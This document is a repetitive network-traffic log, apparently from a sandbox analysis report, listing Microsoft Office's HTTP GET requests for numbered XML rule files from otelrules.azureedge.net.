Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
